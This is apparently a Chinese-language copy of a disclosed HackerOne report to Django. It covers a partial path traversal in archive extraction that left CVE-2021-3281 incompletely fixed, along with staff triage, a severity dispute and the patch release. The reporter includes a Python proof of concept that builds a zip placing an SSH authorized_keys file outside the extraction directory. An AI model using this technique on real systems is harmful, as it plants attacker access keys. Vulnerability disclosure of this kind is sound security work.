Django | 报告 #3328367 - 通过archive.extract的路径遍历 - CVE 2021-3281 不完整补丁
时间线
- ID已验证的黑客(已成功完成身份验证检查)stackered 向 Django 提交了一份报告。
- 2025年9月5日,下午1:21(UTC)
报告内容
你好,
在对之前的漏洞补丁进行代码审查时,我发现针对 CVE-2021-3281 的修复是不完整的。作为提醒,为了缓解此漏洞,在 ZipArchive 和 TarArchive 类的 extract 函数中添加了以下防护逻辑,以确保所有文件都提取到基础文件夹(target_path)下。
|
|
abspath 函数用于获取绝对且规范化的唯一路径。然后,利用 startswith 函数来验证目标路径是否在预期的基础文件夹内。然而,abspath 函数会移除末尾的路径分隔符,这使得防护逻辑不足以抵御部分路径遍历攻击。
假设基础文件夹定义为 /var/lib/,初始文件名为 /var/library/test.txt。由于末尾斜杠被移除,攻击者仍然可以部分路径遍历到另一个以相同字符开头的目录,因为这可以通过检查。
|
|
例如,在 Python CLI 中执行以下行不会引发预期的异常。
|
|
此类部分路径遍历漏洞的一个现实例子可以在这里找到。
影响
这导致了一个部分路径遍历漏洞,允许攻击者在解压归档文件(tar 和 zip)时,将文件写入基础目录之外。
团队互动
-
nessita (Django 工作人员) 发表评论。 2025年9月11日,下午3:53(UTC)
你好, 感谢您的报告。我们将进行调查并尽快回复您。在此期间,请对此信息保密。 如果您尚未阅读,请查看 Django 安全团队如何评估报告:https://docs.djangoproject.com/en/dev/internals/security/。 请注意,我们可能需要几周时间才能完成分析。除非您发现新的相关信息,否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。 此致,Django 安全团队。
-
theorangeone (Django 工作人员) 将状态更改为 需要更多信息。 2025年9月16日,上午11:29(UTC)
感谢您的报告!但是,我们自己无法复现这个问题。您能否提供一个使用 Django 工具并展示漏洞利用的 PoC?希望我们可以用它来复现并解决问题。
-
ID已验证的黑客 stackered 将状态更改为 新。 2025年9月16日,下午1:28(UTC)
你好, 当然,这里是一个使用目标 Django 函数的功能性 PoC。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18import zipfile from django.utils.archive import * zip_path = "malicious.zip" def create_malicious_zip(): with zipfile.ZipFile(zip_path, "w") as zf: zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n") zf.writestr("test.txt", "Test\n") print(f"Archive {zip_path} hase been successfully created") def extract_archive(): archive = ZipArchive(zip_path) archive.extract("/home/john") if __name__ == "__main__": create_malicious_zip() extract_archive()在
/home中创建两个目录(john 和 johnny),可由运行 poc 的同一用户写入。 这将在/home/johnny/.ssh/authorized_keys中添加(如果不存在则创建)攻击者的 ssh 密钥,即使目标提取目录设置为/home/john。 -
sarahvboyce (Django 工作人员) 将严重性从中等 (5.3) 更新为低 (3.7)。 2025年9月18日,上午10:04(UTC)
要使此攻击生效,攻击者必须知道用户将通过
startapp --template等在哪个目录进行提取。 -
sarahvboyce (Django 工作人员) 将状态更改为 已分类。 2025年9月18日,上午10:09(UTC)
感谢您的报告和进一步信息。拥有第二个文件对于复现问题很重要。 我们已经确认了该漏洞,并已请求 CVE。 我已经附加了我们建议的缓解解决方案。您能否测试一下这个补丁,以确保它能可靠地修复问题? 0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch (F4798484) 我们计划在一篇博客文章中提及漏洞的发现者。“stackered” 可以吗,或者您希望以其他方式获得署名? 包含此修复的 Django 版本目前计划在十月发布。在更新版本发布之前,请继续对此保密。 再次感谢!
-
ID已验证的黑客 stackered 发表评论。 2025年9月18日,下午1:21(UTC)
你好, 感谢您的回复。很高兴您能够复现这个问题。 是的,拥有第二个文件对于让
has_leading_dir函数返回 False 很重要。 我审查了补丁,它确实修复了问题。 使用 Stackered 作为署名是可以的,谢谢。 不过,我只是想和您分享我对严重性的看法。实际上,您是对的,攻击者必须知道提取的文件将被放在哪个目录。然而,通过拦截和分析请求来猜测通常并不困难。除此之外,应用程序可能是开源的,在这种情况下,目录将很容易识别。最后,在某些应用程序中,提取目录甚至可能由攻击者控制。正是出于这些原因,我将严重性评估为中等。 -
ID已验证的黑客 stackered 发表评论。 2025年9月24日,下午12:57(UTC)
你好,您考虑过根据我之前的消息修改漏洞的严重性吗?
-
sarahvboyce (Django 工作人员) 发表评论。 2025年9月24日,下午1:48(UTC)
感谢您对补丁的审查。此漏洞已被分配 CVE-2025-59682,版本发布计划定于 10 月 1 日。 请继续对此保密。 关于严重性,我们保持当前的评估。
archive.extract是一个未记录的方法,因此根据我们的安全策略,通常不在范围内:https://docs.djangoproject.com/en/5.2/internals/security/#code-under-test-must-feasibly-exist-in-a-django-project Django 包含许多不属于其公共 API 的私有和未记录函数。如果漏洞依赖于以不安全的方式直接调用这些内部函数,则不会被视为有效的安全问题。 但是,我们需要确保 Django 本身正在以安全的方式使用这些未记录的方法。这将范围缩小到python manage.py startproject/app --template对archive.extract的使用。这些是由开发人员在设置项目时运行的。这些不用于已部署的应用程序,因此您提出的建议不适用。 -
ID已验证的黑客 stackered 发表评论。 2025年9月24日,下午2:08(UTC)
好的,谢谢您的信息,下次我们会更仔细地评估漏洞是否可能存在于 Django 项目中。
-
jacobtylerwalls (Django 工作人员) 关闭了报告并将状态更改为 已解决。 2025年10月2日,上午12:49(UTC)
此问题已于 10 月 1 日随 Django 版本 5.2.7、5.1.13 和 4.2.25 一起修复。
-
The Internet Bug Bounty 已决定此报告不符合获得赏金的条件。 2025年11月11日,下午7:22(UTC)
我们无法在此分配货币奖励。如果您想要一个,请按照 https://hackerone.com/ibb 上的说明将漏洞提交给 Internet Bug Bounty。
-
stackered 请求披露此报告。 7 天前
-
jacobtylerwalls (Django 工作人员) 同意披露此报告。 7 天前
-
此报告已被披露。 7 天前
报告信息
- 报告日期:2025年9月5日,下午1:21(UTC)
- 报告者:stackered
- 报告对象:Django
- 报告 ID:#3328367
- 状态:已解决
- 严重性:低 (3.7)
- 披露日期:2025年11月21日,下午7:05(UTC)
- 弱点:路径遍历
- CVE ID:CVE-2021-3281
- 赏金:无
- 账户详情:无
看起来您的 JavaScript 被禁用了。要使用 HackerOne,请在浏览器中启用 JavaScript 并刷新此页面。